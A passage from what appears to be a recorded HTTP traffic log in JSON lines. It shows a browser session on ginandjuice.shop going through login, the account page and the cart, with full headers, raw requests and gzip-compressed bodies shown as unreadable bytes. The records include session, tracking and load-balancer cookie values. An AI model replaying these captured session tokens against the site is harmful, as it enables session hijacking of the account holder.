session=wrNhEoOD0CeeH8cagJk19XHRP32b6YM2; Secure; HttpOnly; SameSite=None\",\"X-Backend\":\"ecfca00b-5a9e-4a89-91bd-de41ecbc4611\",\"X-Frame-Options\":\"SAMEORIGIN\"},\"raw\":\"HTTP/1.1 302 Found\\r\\nConnection: close\\r\\nContent-Length: 0\\r\\nContent-Encoding: gzip\\r\\nDate: Thu, 07 Sep 2023 15:34:33 GMT\\r\\nLocation: /my-account\\r\\nSet-Cookie: AWSALB=A8FP7QaUyTZcc1eqKIrwbXu1bU7eejb169j6dtYkZIoq+xNxSgeFjvTG3fo5IxkRKmFnCjcicOqFaNkotzDAeVhz7bj4YTjbFF9pI+euPCOy8scUu1Pu53wub9sf; Expires=Thu, 14 Sep 2023 15:34:33 GMT; Path=/\\r\\nSet-Cookie: AWSALBCORS=A8FP7QaUyTZcc1eqKIrwbXu1bU7eejb169j6dtYkZIoq+xNxSgeFjvTG3fo5IxkRKmFnCjcicOqFaNkotzDAeVhz7bj4YTjbFF9pI+euPCOy8scUu1Pu53wub9sf; Expires=Thu, 14 Sep 2023 15:34:33 GMT; Path=/; SameSite=None; Secure\\r\\nSet-Cookie: session=wrNhEoOD0CeeH8cagJk19XHRP32b6YM2; Secure; HttpOnly; SameSite=None\\r\\nX-Backend: ecfca00b-5a9e-4a89-91bd-de41ecbc4611\\r\\nX-Frame-Options: SAMEORIGIN\\r\\n\\r\\n\"}}\n{\"timestamp\":\"2023-09-07T21:04:33+05:30\",\"url\":\"https://ginandjuice.shop/my-account\",\"request\":{\"header\":{\"Accept\":\"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\",\"Accept-Encoding\":\"gzip, deflate, br\",\"Accept-Language\":\"en-US,en;q=0.9,hi;q=0.8\",\"Cache-Control\":\"max-age=0\",\"Connection\":\"close\",\"Cookie\":\"TrackingId=eyJ0eXBlIjoiY2xhc3MiLCJ2YWx1ZSI6InkyRTQ5UzdBNFdiWUVDZEYifQ==; AWSALB=A8FP7QaUyTZcc1eqKIrwbXu1bU7eejb169j6dtYkZIoq+xNxSgeFjvTG3fo5IxkRKmFnCjcicOqFaNkotzDAeVhz7bj4YTjbFF9pI+euPCOy8scUu1Pu53wub9sf; AWSALBCORS=A8FP7QaUyTZcc1eqKIrwbXu1bU7eejb169j6dtYkZIoq+xNxSgeFjvTG3fo5IxkRKmFnCjcicOqFaNkotzDAeVhz7bj4YTjbFF9pI+euPCOy8scUu1Pu53wub9sf; session=wrNhEoOD0CeeH8cagJk19XHRP32b6YM2\",\"Referer\":\"https://ginandjuice.shop/login\",\"Sec-Ch-Ua\":\"\\\"Chromium\\\";v=\\\"116\\\", \\\"Not)A;Brand\\\";v=\\\"24\\\", \\\"Google Chrome\\\";v=\\\"116\\\"\",\"Sec-Ch-Ua-Mobile\":\"?0\",\"Sec-Ch-Ua-Platform\":\"\\\"macOS\\\"\",\"Sec-Fetch-Dest\":\"document\",\"Sec-Fetch-Mode\":\"navigate\",\"Sec-Fetch-Site\":\"same-origin\",\"Sec-Fetch-User\":\"?1\",\"Upgrade-Insecure-Requests\":\"1\",\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\",\"host\":\"ginandjuice.shop\",\"method\":\"GET\",\"path\":\"/my-account\",\"scheme\":\"https\"},\"raw\":\"GET /my-account HTTP/1.1\\r\\nHost: ginandjuice.shop\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\\r\\nAccept-Encoding: gzip, deflate, br\\r\\nAccept-Language: en-US,en;q=0.9,hi;q=0.8\\r\\nCache-Control: max-age=0\\r\\nConnection: close\\r\\nCookie: TrackingId=eyJ0eXBlIjoiY2xhc3MiLCJ2YWx1ZSI6InkyRTQ5UzdBNFdiWUVDZEYifQ==; AWSALB=A8FP7QaUyTZcc1eqKIrwbXu1bU7eejb169j6dtYkZIoq+xNxSgeFjvTG3fo5IxkRKmFnCjcicOqFaNkotzDAeVhz7bj4YTjbFF9pI+euPCOy8scUu1Pu53wub9sf; AWSALBCORS=A8FP7QaUyTZcc1eqKIrwbXu1bU7eejb169j6dtYkZIoq+xNxSgeFjvTG3fo5IxkRKmFnCjcicOqFaNkotzDAeVhz7bj4YTjbFF9pI+euPCOy8scUu1Pu53wub9sf; session=wrNhEoOD0CeeH8cagJk19XHRP32b6YM2\\r\\nReferer: https://ginandjuice.shop/login\\r\\nSec-Ch-Ua: \\\"Chromium\\\";v=\\\"116\\\", \\\"Not)A;Brand\\\";v=\\\"24\\\", \\\"Google Chrome\\\";v=\\\"116\\\"\\r\\nSec-Ch-Ua-Mobile: ?0\\r\\nSec-Ch-Ua-Platform: \\\"macOS\\\"\\r\\nSec-Fetch-Dest: document\\r\\nSec-Fetch-Mode: navigate\\r\\nSec-Fetch-Site: same-origin\\r\\nSec-Fetch-User: ?1\\r\\nUpgrade-Insecure-Requests: 1\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\\r\\n\\r\\n\"},\"response\":{\"header\":{\"Cache-Control\":\"no-cache\",\"Content-Encoding\":\"gzip\",\"Content-Length\":\"2092\",\"Content-Type\":\"text/html; charset=utf-8\",\"Date\":\"Thu, 07 Sep 2023 15:34:34 GMT\",\"Set-Cookie\":\"AWSALB=Yj6jGTtNRQBhM6lgLDvgcMeE6a2Q8QoLKIpMK31LCyuD8hBeyNGoGebt0J65jEdsn6MA10IU78o/xHz/IblQi5lC4NmL51AiQOxVjyyqyBHIkfTffkZOuAaB8jta; Expires=Thu, 14 Sep 2023 15:34:34 GMT; Path=/, AWSALBCORS=Yj6jGTtNRQBhM6lgLDvgcMeE6a2Q8QoLKIpMK31LCyuD8hBeyNGoGebt0J65jEdsn6MA10IU78o/xHz/IblQi5lC4NmL51AiQOxVjyyqyBHIkfTffkZOuAaB8jta; Expires=Thu, 14 Sep 2023 15:34:34 GMT; Path=/; SameSite=None; Secure\",\"X-Backend\":\"ecfca00b-5a9e-4a89-91bd-de41ecbc4611\",\"X-Frame-Options\":\"SAMEORIGIN\"},\"body\":\"\\u001f\\ufffd\\u0008\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\ufffd\\ufffd[\\ufffdr\\ufffd6\\u0012\\ufffdާ@ywq2\\u0013\\ufffd\\ufffdc[\\ufffdD\\ufffdL\\ufffd\\ufffdɤn\\ufffd\\u0019g\\ufffdi\\ufffdd \\u0010\\u0012a\\ufffd\\u0000\\ufffd\\u0000%\\ufffd\\u003e\\ufffdk\\ufffd#\\ufffd5\\ufffdQ\\ufffdIn\\u0001P2%\\ufffd\\u0012\\u0019\\ufffdN?ȓ\\ufffdE`\\ufffd\\ufffdb\\ufffd\\ufffd\\ufffdB\\\\\\ufffd\\ufffd\\ufffd\\ufffdëO\\ufffd}|\\ufffd\\\"\\u001d\\ufffd\\ufffd7#\\ufffd\\u000b\\ufffd\\ufffd(\\ufffd8t\\u001f\\ufffd#g\\ufffd\\u0006E)\\ufffd\\ufffd\\ufffd\\ufffd*\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\u0011\\ufffdi@\\ufffd\\n\\u0014\\ufffd\\ufffdg\\ufffd\\ufffd6t\\ufffd\\u0001\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd9U\\u0011\\ufffd\\ufffd\\u0010\\ufffd\\ufffd\\u0000@u\\u000501\\ufffd\\u000f\\u0010S\\ufffd\\ufffd\\ufffd1\\u001d{\\u000bF\\ufffd\\ufffdL\\ufffd\\ufffd\\ufffd\\u0014\\ufffd\\n=\\ufffd\\ufffd,\\ufffd\\ufffd8\\ufffd\\u000bF\\ufffdo\\u001f\\ufffd\\ufffdL\\ufffd\\ufffd\\u0007\\ra\\u0006N\\ufffdBz%4ER\\ufffdh\\ufffdR2\\ufffdJ\\n]+x\\ufffdDw\\u0000\\ufffdr\\ufffd\\ufffd\\u0000޹V\\ufffdd\\u0014\\ufffd\\u0011\\ufffd!\\ufffdP\\ufffd-`t\\ufffd\\ufffd\\ufffd4\\ufffd\\ufffd\\ufffd5^`\\ufffd\\ufffdU\\ufffdc1\\ufffd8N?\\ufffd\\ufffd\\ufffd?\\ufffdC\\ufffdLs:\\ufffd9G\\ufffd\\u0010\\ufffd\\t\\ufffd|\\ufffd\\ufffd\\t\\ufffd\\u0004\\ufffd\\ufffdK\\ufffd.\\u0003+\\ufffd\\ufffdH\\u0026\\ufffd\\ufffd\\t\\ufffd\\ufffd\\u000f\\ufffd\\u001c`4\\ufffda\\ufffd\\ufffd\\ufffd\\ufffdIR\\ufffd\\r\\ufffd\\u0002\\ufffdp\\ufffd\\ufffd\\ufffd\\ufffddV\\ufffd J4\\ufffd\\u0002\\u0011\\ufffd\\ufffd\\u001a{\\ufffd[\\ufffd\\ufffd:\\u001d\\ufffdgk\\ufffd\\u001d\\ufffd춙\\ufffdO\\u0011S\\u0008\\ufffda\\u0014RΦ4Ś\\ufffd\\u001c-2.\\ufffd3l+Z\\ufffd)\\u0002\\u001d9#\\ufffd\\ufffd\\n󰹠!\\ufffd\\ufffd\\u0014i\\ufffd4\\u0013s#\\ufffdDLU\\ufffdr5\\ufffdq\\ufffds\\ufffdd\\ufffd\\u0002m\\ufffdS\\ufffd\\ufffdH%x\\ufffd\\u0014\\ufffd\\ufffd\\u001e\\ufffd\\\"\\ufffd\\ufffdZ\\ufffd\\ufffd45\\ufffd'B\\ufffd\\ufffd|\\ufffd|\\ufffdCc\\ufffd[w\\ufffd\\ufffdfo\\ufffd7\\ufffd\\ufffdr\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdU\\ufffd\\ufffdO7\\u0006g\\ufffd\\ufffdc3\\ufffd\\ufffd\\u003c\\ufffd\\ufffd'\\ufffd\\u003c\\ufffd\\ufffd\\ufffd`\\ufffd\\ufffd\\ufffd\\u0019Ⲱ\\ufffd\\u0018a-\\ufffdOO.\\u0007\\ufffd\\ufffd\\ufffdo\\ufffd8\\ufffdd\\ufffd\\ufffd\\ufffd$|\\ufffd9Y\\ufffd\\ufffd'\\ufffdֳr\\ufffd\\ufffdΰ\\u000fT\\ufffd\\u0012\\\\\\ufffd%\\ufffdi\\ufffdW\\ufffd\\r*\\ufffdN\\ufffd\\ufffd\\ufffdL\\ufffd\\u001c\\ufffd\\u001b\\u0015\\ufffd\\ufffd\\ufffdD:\\ufffdv\\ufffd\\ufffd\\u0005\\ufffd\\u0006\\ufffdW\\ufffdK\\ufffd\\ufffd/ \\ufffd\\ufffdn\\ufffd/\\ufffd8\\ufffd\\ufffd\\ufffdNtR\\u0001k\\ufffdۉ\\u001ab\\ufffd\\u000cĪ\\ufffdr\\ufffd\\u001d\\ufffd\\ufffd\\u0004\\u00150\\u0015p\\ufffd\\u0012\\ufffd\\ufffd\\ufffd\\\\B\\ufffdB{\\rl\\ufffdk:\\ufffd\\ufffdl\\ufffd\\ufffd\\u0007\\ufffd\\ufffdc\\u0004\\ufffd\\ufffdf-\\ufffd\\ufffd\\ufffdk\\ufffd,\\ufffd[\\ufffd\\ufffd\\ufffd\\ufffd5ήP\\ufffd\\ufffd\\u0018\\ufffd\\ufffd{\\ufffd\\u0008\\ufffd\\u001dH\\ufffd\\u000e\\u000bYA\\ufffd\\ufffdz\\ufffdi\\r\\ufffd\\ufffd\\u000c\\ufffd\\u0005\\ufffd\\ufffd\\u0018\\ufffd\\u0004\\ufffd\\ufffd\\ufffd0#Z\\ufffd\\u001ae\\u0003.h2\\ufffd\\ufffd\\ufffd\\ufffdZվ\\ufffd\\ufffd\\ufffdRj\\ufffd\\ufffd̴7\\ufffd`\\ufffdH\\ufffd4 \\ufffdFA\\ufffd\\ufffd\\ufffdB\\u0010\\ufffdR\\ufffd\\ufffd\\u0013\\u0015ǜ\\ufffd`.80L\\ufffd\\ufffdi\\ufffdÑg\\ufffd\\ufffdh\\u001a\\ufffdm\\u0015\\ufffd~!\\r'\\ufffdZ\\ufffd'#`\\ufffdU\\ufffd\\ufffdI\\u000b~?7\\ufffd\\u0000p%\\ufffd\\u0001鿕g2G/\\u000c6\\u0007\\ufffd\\ufffd9\\u0008F\\\"Jn|\\ufffdR©\\u0005+7l\\ufffd5\\ufffd\\ufffdb\\u0007\\ufffd\\t\\ufffd\\ufffd쮅\\ufffd\\u003c\\ufffdP\\ufffdq\\ufffdK9G𡱺\\u0016\\ufffdQT\\u003c\\ufffd\\ufffd坿K\\ufffd\\ufffd$\\ufffd\\u000f\\ufffdNs\\ufffd/\\u0008\\u0008\\ufffd\\ufffd\\ufffdG\\ufffd\\ufffd50=\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd+N؆q`\\ufffd:\\ufffd]\\ufffd\\ufffdw\\ufffd\\ufffdK.\\u0011\\ufffd\\ufffd!\\ufffdm\\ufffd\\ufffd\\ufffd֔A\\ufffd\\ufffd\\ufffdլ\\u0017S\\ufffd\\u0000\\ufffdݗ\\ufffdFA\\ufffd\\ufffdZs\\ufffdW4W\\ufffd+[R\\ufffdćD\\ufffd\\ufffdw\\ufffd~\\ufffd7׎!%Xg\\u0006Ui\\ufffd]\\u001a\\ufffd\\ufffd\\ufffd\\u000c]\\u0026\\ufffd\\ufffd5\\ufffd\\u003crd\\ufffd6\\ufffd\\ufffdlV$\\ufffd\\u0005\\ufffd\\ufffd\\r\\u000c\\\\w\\u001dl\\ufffd\\ufffd\\ufffdw\\ufffd\\u0018\\ufffd\\ufffd\\ufffd\\ufffd\\u0007\\ufffd\\u001c+\\ufffd-n|{\\ufffdg\\ufffd\\u002625G\\u0011\\ufffd#̹x\\ufffd\\ufffd)\\ufffdǍc\\ufffd\\ufffdMN,\\u0016Ϸ\\u0006\\ufffd\\ufffdY\\ufffd\\ufffd\\ufffdC\\ufffd\\ufffd\\ufffd qy\\ufffd*\\u001c\\ufffdG\\u0015$Y\\ufffdp\\ufffd9º\\ufffd\\ufffdy\\ufffdIw\\ufffd\\u00153\\ufffd`\\ufffd\\u001d\\u001c\\r \\ufffd63\\ufffd\\ufffdX\\ufffd\\ufffd!\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd洐$\\u0012p\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdN\\ufffd;\\n\\ufffd\\rav\\ufffd\\u000f\\ufffd\\ufffd\\ufffdx\\ufffd\\u0014a\\ufffda\\ufffd\\ufffd\\ufffd\\u0019\\ufffd\\ufffd\\ufffd\\ufffdn\\ufffd\\ufffdt8\\ufffd\\ufffd]\\u001c\\ufffd\\ufffd\\ufffdp\\ufffdD\\u0017Ao\\u0018\\ufffd\\ufffd\\ufffd\\ufffd\\u0017!\\ufffd\\ufffdQ\\ufffdM\\ufffd\\ufffdnqJc\\ufffd\\ufffdY\\ufffd\\ufffd3\\ufffd\\ufffd\\ufffd%@A\\ufffd\\ufffdJ\\u000c\\ufffdLHs\\ufffd\\u003c\\ufffd\\ufffdۘ\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdY\\ufffdDlg\\ufffd[٦\\ufffdM\\u001a\\u001a\\ufffd\\ufffd\\ufffdMD\\ufffd\\u0026o\\ufffd=\\u0016]\\ufffd\\ufffd\\ufffd^\\ufffd\\ufffd\\u0014\\u0013 \\ufffd\\ufffd\\ufffd\\ufffdE\\ufffdsz\\ufffd\\ufffd\\ufffd\\ufffd?|\\u0000\\ufffd\\ufffd^\\u001c\\ufffd\\ufffd${\\ufffd\\ufffdV\\u000bzD\\ufffd\\ufffdu\\u001f\\ufffd/~L3\\ufffd\\ufffd\\u0007\\ufffd/ǹ\\ufffd?]\\ufffd\\ufffdw\\ufffd/\\ufffd:]\\ufffd\\u001b\\u001d\\ufffdI\\u0017\\ufffdZ\\ufffd\\u001f\\ufffd\\ufffd${\\ufffd\\ufffdV\\u000bzD\\ufffd\\ufffdx4\\ufffd\\ufffd8f\\ufffd\\ufffd\\ufffd\\u000fz%ɍ\\ufffdT\\ufffd\\ufffd\\ufffd\\ufffd\\u0007`\\ufffd\\ufffd\\u0017\\ufffd\\ufffd\\ufffd\\ufffdg\\ufffd\\ufffd\\ufffd\\u00030G\\ufffd\\ufffd\\ufffd\\u001c%\\ufffd#s\\ufffdZ\\ufffd\\ufffd^R\\u001e\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\u000fN\\u001f\\ufffd.\\ufffd/\\ufffdtQ\\ufffd=\\ufffdEmw\\ufffd\\u001b\\ufffd\\u0003\\ufffd\\ufffd}\\ufffdm\\ufffdKƚI\\ufffd\\ufffdZ\\ufffd\\u0014'I\\ufffd\\ufffd\\ufffd[\\ufffd\\ufffd\\ufffd\\u0001u\\ufffd3\\ufffd\\\"s:3\\ufffd8\\ufffd\\ufffdh\\ufffd\\u001dClA\\ufffd\\u001e[\\ufffd\\ufffd\\ufffd\\ufffd=\\ufffd]A1S\\ufffd$\\u0005s\\ufffd#\\ufffdMMi˔B\\ufffd.\\ufffd|\\ufffd{ \\ufffd\\ufffd;\\ufffd\\u00042\\ufffd\\u000eK\\ufffd\\ufffdp\\ufffdB\\ufffd\\ufffd\\ufffd\\ufffdL0\\ufffd#9Cs\\ufffd\\ufffd\\\"Dז\\ufffdfX`͈zn\\ufffdY\\ufffd-\\ufffd\\ufffd\\u0002\\ufffd@\\ufffd.\\u0015\\ufffd\\u000e\\ufffdcS+a\\ufffd\\u00019\\ufffd15T\\u0014C\\ufffd\\ufffd\\u001c\\ufffd9\\ufffdS\\ufffdگ\\ufffd\\ufffd\\ufffd \\ufffd2\\ufffd\\ufffd\\ufffd\\n\\ufffdM\\ufffdߕ6\\ufffdl\\u0016\\u001f\\ufffd\\u0017\\ufffd^.;\\ufffdꤢ\\ufffd\\ufffd\\ufffdֶhh5ֻ3}\\u001a{\\ufffd\\ufffd\\ufffd\\u001fS\\u001dI\\u0010J\\ufffd\\ufffdE\\u0013\\ufffd\\u003ePzsu\\u0007p\\ufffdՙH2\\rf\\ufffdg\\ufffd \\ufffd\\\\m\\u0015\\ufffdMJi\\u000b\\ufffd\\ufffdǄcB#\\ufffdCS\\ufffd\\ufffd\\ufffd6\\ufffd0\\ufffd\\ufffd\\u001e\\n\\ufffdJx/baH\\ufffdW\\ufffd\\ufffd\\u0011\\ufffd\\ufffd\\u003c\\ufffd\\ufffd\\u003c\\ufffd\\u0007\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdw\\ufffd\\ufffdkF\\ufffdO݋˫\\ufffdf\\ufffd\\ufffd\\ufffd\\ufffdL\\ufffd\\ufffd\\ufffdp\\ufffd\\ufffd\\ufffd\\ufffd|\\ufffd5\\ufffd\\ufffdKM;-\\ufffd$fzr\\ufffd\\ufffd\\u000c\\ufffdZ\\ufffd{_\\ufffd\\ufffd灐\\u0019[\\ufffd\\r#2K\\ufffd\\ufffd]K\\ufffdW'Ÿ\\ufffd\\ufffd\\u003e\\ufffdB¥\\ufffd\\ufffdj\\ufffdR\\u0010\\ufffd\\ufffdM\\ufffd\\ufffd\\ufffdb\\ufffd`Uz\\n\\ufffd(\\ufffd3\\u0013\\ufffd\\ufffdV\\ufffdG\\ufffdV\\ufffdFo\\ufffd\\ufffd\\ufffd\\u0003\\ufffdt\\ufffd\\u000c\\u0013\\ufffd:bb^\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdI\\ufffd\\ufffdZo\\ufffd\\n\\ufffdbo\\ufffd\\ufffd\\u0014\\ufffd\\ufffd\\u000eǛ8\\ufffd\\u0000\\u0007i\\ufffd\\ufffdL\\ufffd\\ufffd\\ufffd \\u000b[\\ufffd\\ufffd\\n\\ufffd\\ufffd]o\\ufffdZi\\ufffd\\ufffd\\ufffd\\u0018hu\\ufffd\\ufffd\\ufffdlئ\\ufffdu\\u0000\\n\\ufffd\\ufffd\\u0003\\ufffd\\ufffdx[6+u\\ufffd\\\"\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdL-D\\ufffd\\ufffdwI\\ufffds\\ufffdM!\\ufffd\\ufffd\\ufffdT\\ufffdي5S@\\ufffd\\ufffd\\ufffd\\ufffdW8\\ufffdhJ\\ufffdͨe\\u0015\\ufffdf%lV\\ufffd\\ufffdk[(u\\ufffd\\u0004w\\ufffdz\\ufffd\\ufffd\\ufffdN=غ\\ufffdͣC.X\\u001ejJo\\ufffdҾy\\ufffd\\u0015m\\ufffd\\ufffdo\\u0000\\u0026\\ufffd\\ufffd\\u0003\\ufffdd\\u0014}\\u0004\\ufffd+\\ufffd\\ufffd.u\\ufffdi\\ufffd\\ufffdv\\ufffd\\ufffdkV[\\ufffd\\ufffd6\\ufffd\\ufffdM\\ufffd\\ufffd\\u0013\\u0012X\\ufffd\\ufffdEZ\\ufffd~] \\ufffd/\\ufffd(\\rS\\ufffd\\ufffd\\ufffd^\\u001e\\ufffd\\ufffd:d\\ufffdc\\u0019\\ufffd\\ufffdkw,\\u0003,\\ufffd\\ufffd/\\ufffd\\ufffd\\ufffd\\\"lU\\ufffdl=\\ufffd$\\ufffd.\\ufffdln\\ufffd\\ufffd\\ufffd`7+\\ufffd\\ufffdH\\ufffd\\ufffd\\ufffd\\u001b8\\u0012\\ufffd\\u001f;\\ufffd\\u001fq\\u0007%\\ufffd\\u00041\\u0000\\u0000\",\"raw\":\"HTTP/1.1 200 OK\\r\\nConnection: close\\r\\nContent-Length: 2092\\r\\nCache-Control: no-cache\\r\\nContent-Encoding: gzip\\r\\nContent-Type: text/html; charset=utf-8\\r\\nDate: Thu, 07 Sep 2023 15:34:34 GMT\\r\\nSet-Cookie: AWSALB=Yj6jGTtNRQBhM6lgLDvgcMeE6a2Q8QoLKIpMK31LCyuD8hBeyNGoGebt0J65jEdsn6MA10IU78o/xHz/IblQi5lC4NmL51AiQOxVjyyqyBHIkfTffkZOuAaB8jta; Expires=Thu, 14 Sep 2023 15:34:34 GMT; Path=/\\r\\nSet-Cookie: AWSALBCORS=Yj6jGTtNRQBhM6lgLDvgcMeE6a2Q8QoLKIpMK31LCyuD8hBeyNGoGebt0J65jEdsn6MA10IU78o/xHz/IblQi5lC4NmL51AiQOxVjyyqyBHIkfTffkZOuAaB8jta; Expires=Thu, 14 Sep 2023 15:34:34 GMT; Path=/; SameSite=None; Secure\\r\\nX-Backend: ecfca00b-5a9e-4a89-91bd-de41ecbc4611\\r\\nX-Frame-Options: SAMEORIGIN\\r\\n\\r\\n\"}}\n{\"timestamp\":\"2023-09-07T21:04:39+05:30\",\"url\":\"https://ginandjuice.shop/catalog/cart\",\"request\":{\"header\":{\"Accept\":\"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\",\"Accept-Encoding\":\"gzip, deflate, br\",\"Accept-Language\":\"en-US,en;q=0.9,hi;q=0.8\",\"Connection\":\"close\",\"Cookie\":\"TrackingId=eyJ0eXBlIjoiY2xhc3MiLCJ2YWx1ZSI6InkyRTQ5UzdBNFdiWUVDZEYifQ==; session=wrNhEoOD0CeeH8cagJk19XHRP32b6YM2; AWSALB=Yj6jGTtNRQBhM6lgLDvgcMeE6a2Q8QoLKIpMK31LCyuD8hBeyNGoGebt0J65jEdsn6MA10IU78o/xHz/IblQi5lC4NmL51AiQOxVjyyqyBHIkfTffkZOuAaB8jta; AWSALBCORS=Yj6jGTtNRQBhM6lgLDvgcMeE6a2Q8QoLKIpMK31LCyuD8hBeyNGoGebt0J65jEdsn6MA10IU78o/xHz/IblQi5lC4NmL51AiQOxVjyyqyBHIkfTffkZOuAaB8jta\",\"Referer\":\"https://ginandjuice.shop/my-account\",\"Sec-Ch-Ua\":\"\\\"Chromium\\\";v=\\\"116\\\", \\\"Not)A;Brand\\\";v=\\\"24\\\", \\\"Google Chrome\\\";v=\\\"116\\\"\",\"Sec-Ch-Ua-Mobile\":\"?0\",\"Sec-Ch-Ua-Platform\":\"\\\"macOS\\\"\",\"Sec-Fetch-Dest\":\"document\",\"Sec-Fetch-Mode\":\"navigate\",\"Sec-Fetch-Site\":\"same-origin\",\"Sec-Fetch-User\":\"?1\",\"Upgrade-Insecure-Requests\":\"1\",\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\",\"host\":\"ginandjuice.shop\",\"method\":\"GET\",\"path\":\"/catalog/cart\",\"scheme\":\"https\"},\"raw\":\"GET /catalog/cart HTTP/1.1\\r\\nHost: ginandjuice.shop\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\\r\\nAccept-Encoding: gzip, deflate, br\\r\\nAccept-Language: en-US,en;q=0.9,hi;q=0.8\\r\\nConnection: close\\r\\nCookie: TrackingId=eyJ0eXBlIjoiY2xhc3MiLCJ2YWx1ZSI6InkyRTQ5UzdBNFdiWUVDZEYifQ==; session=wrNhEoOD0CeeH8cagJk19XHRP32b6YM2; AWSALB=Yj6jGTtNRQBhM6lgLDvgcMeE6a2Q8QoLKIpMK31LCyuD8hBeyNGoGebt0J65jEdsn6MA10IU78o/xHz/IblQi5lC4NmL51AiQOxVjyyqyBHIkfTffkZOuAaB8jta; AWSALBCORS=Yj6jGTtNRQBhM6lgLDvgcMeE6a2Q8QoLKIpMK31LCyuD8hBeyNGoGebt0J65jEdsn6MA10IU78o/xHz/IblQi5lC4NmL51AiQOxVjyyqyBHIkfTffkZOuAaB8jta\\r\\nReferer: https://ginandjuice.shop/my-account\\r\\nSec-Ch-Ua: \\\"Chromium\\\";v=\\\"116\\\", \\\"Not)A;Brand\\\";v=\\\"24\\\", \\\"Google Chrome\\\";v=\\\"116\\\"\\r\\nSec-Ch-Ua-Mobile: ?0\\r\\nSec-Ch-Ua-Platform: \\\"macOS\\\"\\r\\nSec-Fetch-Dest: document\\r\\nSec-Fetch-Mode: navigate\\r\\nSec-Fetch-Site: same-origin\\r\\nSec-Fetch-User: ?1\\r\\nUpgrade-Insecure-Requests: 1\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\\r\\n\\r\\n\"},\"response\":{\"header\":{\"Content-Encoding\":\"gzip\",\"Content-Length\":\"1806\",\"Content-Type\":\"text/html; charset=utf-8\",\"Date\":\"Thu, 07 Sep 2023 15:34:39 GMT\",\"Set-Cookie\":\"AWSALB=+OTzt/cHdN9mzp1pbOgaURPkES7i2qq1lhilq3fOQUe1jfh6+KYbRfxvolgT0DjiZvlhhdhoctO4ecMahMhz5hagBN8ye+HbQJnxFvNdj2yozEGUDHaWbKKErer+; Expires=Thu, 14 Sep 2023 15:34:39 GMT; Path=/, AWSALBCORS=+OTzt/cHdN9mzp1pbOgaURPkES7i2qq1lhilq3fOQUe1jfh6+KYbRfxvolgT0DjiZvlhhdhoctO4ecMahMhz5hagBN8ye+HbQJnxFvNdj2yozEGUDHaWbKKErer+; Expires=Thu, 14 Sep 2023 15:34:39 GMT; Path=/; SameSite=None; Secure\",\"X-Backend\":\"ecfca00b-5a9e-4a89-91bd-de41ecbc4611\",\"X-Frame-Options\":\"SAMEORIGIN\"},\"body\":\"\\u001f\\ufffd\\u0008\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\ufffd\\ufffdZ\\ufffdS\\ufffd6\\u0018\\ufffd޿B\\ufffdvM{7ǘ@\\ufffd%\\ufffd\\u000e\\u0018e\\ufffdx[\\ufffd֮_8\\ufffdVbQ\\ufffdrm9\\ufffd\\ufffd\\ufffd{$9\\ufffd\\t6\\u0011`v\\ufffd\\ufffd\\u001cG\\ufffd\\ufffd\\ufffd\\u001e=\\ufffd\\u000f\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd}v\\ufffd\\\"\\u00113\\ufffd\\ufffdP!\\ufffd\\u000c#\\ufffdC\\ufffd\\ufffd\\ufffd\\ufffd\\u0026_Q\\ufffd\\ufffd\\ufffd\\ufffdd$\\ufffdE\\u0016\\ufffd\\ufffdax$\\ufffd\\ufffd\\ufffd\\t\\ufffd\\ufffd\\ufffd\\u0003\\ufffd\\u001c\\ufffd\\ufffdTG\\u001f:PF\\ufffd\\ufffd\\ufffd\\u0019#yD\\ufffdX\\u0005\\u0026!\\u00000\\ufffd\\u000801\\ufffd\\u001b \\u0026\\u0002\\ufffd\\u0004\\ufffdĳ\\ufffd\\ufffd\\\\\\ufffd\\u003c\\u0013\\u0016\\nx\\\"H\\\"\\u003c늆\\\"\\ufffdB2\\ufffd\\u0001\\ufffdU\\ufffdgT\\ufffd$\\ufffd\\ufffdB؁\\u0011/\\ufffdV\\r-\\u000f2\\ufffd\\n\\ufffdg\\ufffdg\\ufffd\\u0008\\ufffd̡\\ufffd\\u0003\\ufffd\\u0007$\\ufffdx\\u001a\\u0003x\\ufffd2\\ufffd\\ufffd\\ufffd\\ufffdW\\ufffdC\\ufffd!\\ufffd\\ufffd\\u0001#f)\\ufffdL\\ufffdk\\ufffd\\\\\\ufffd)ֽV\\u0013:N\\u0026\\u0005\\ufffdمko\\ufffd[m\\ufffd\\ufffd\\nF\\ufffd}\\ufffd\\td\\ufffdC\\ufffd\\ufffd\\ufffd8Nw\\ufffd\\ufffd\\u0002\\ufffd\\ufffd\\u003eF\\u003c\\u001d:z\\ufffd\\ufffd\\ufffds#\\ufffdሇ3\\ufffdLl\\ufffd\\ufffd5\